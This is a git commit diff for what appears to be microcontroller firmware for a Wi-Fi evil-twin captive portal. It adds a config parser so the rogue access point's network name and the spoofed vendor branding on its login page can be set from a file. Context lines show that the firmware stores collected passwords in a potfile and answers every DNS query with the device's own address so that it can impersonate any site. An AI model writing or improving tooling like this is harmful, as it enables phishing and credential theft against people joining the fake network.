feat: add config support

This commit is contained in:
Himadri Bhattacharjee
2025-07-26 13:14:02 +05:30
parent 2d0da8ecd9
commit 7b0a524ec3
2 changed files with 49 additions and 4 deletions

2
data/config.ini Normal file
View File

@@ -0,0 +1,2 @@
essid=Test Access Point
vendor=Test Vendor

View File

@@ -53,14 +53,49 @@ void display_potfile() {
potfile.close();
}
typedef struct Config {
bool error;
String essid;
String vendor;
} Config;
Config load_config() {
File config_file = LittleFS.open("config.ini", "r");
if (!config_file) {
Serial.println("fatal: failed to open config for reading");
return Config { error: true };
}
String fragment;
String essid;
String vendor;
bool key { true };
int captured = 0;
while(config_file.available()) {
if (key) {
fragment = config_file.readStringUntil('=');
key = false;
continue;
}
if (fragment == "essid") {
captured++;
essid = config_file.readStringUntil('\n');
}
if (fragment == "vendor") {
captured++;
vendor = config_file.readStringUntil('\n');
}
key = true;
}
if (captured == 2) return Config { error: false, essid: essid, vendor: vendor };
return Config { error: true };
}
void setup() {
Serial.begin(115200);
Serial.println("\r");
Serial.println("core::setup starting ap");
WiFi.softAPConfig(gateway, gateway, subnet);
WiFi.softAP("Full_House", "peepeepoopoo");
if (!LittleFS.begin()){
Serial.println("error: failed to mount LittleFS");
return;
@@ -68,6 +103,14 @@ void setup() {
Serial.println("core::setup displaying passwords collected");
display_potfile();
Config config = load_config();
if (config.error) {
Serial.println("fatal: configuration file is invalid");
return;
}
WiFi.softAPConfig(gateway, gateway, subnet);
WiFi.softAP(config.essid);
File web_file = LittleFS.open("index.html", "r");
if (!web_file) {
Serial.println("fatal: failed to open web page for reading");
@@ -76,7 +119,7 @@ void setup() {
webpage = web_file.readString();
web_file.close();
webpage.replace("VENDOR", "peepeepoopoo");
webpage.replace("VENDOR", config.vendor);
// pretend to be the gateway and every other site in existence
dns.start(DNS_PORT, "*", gateway);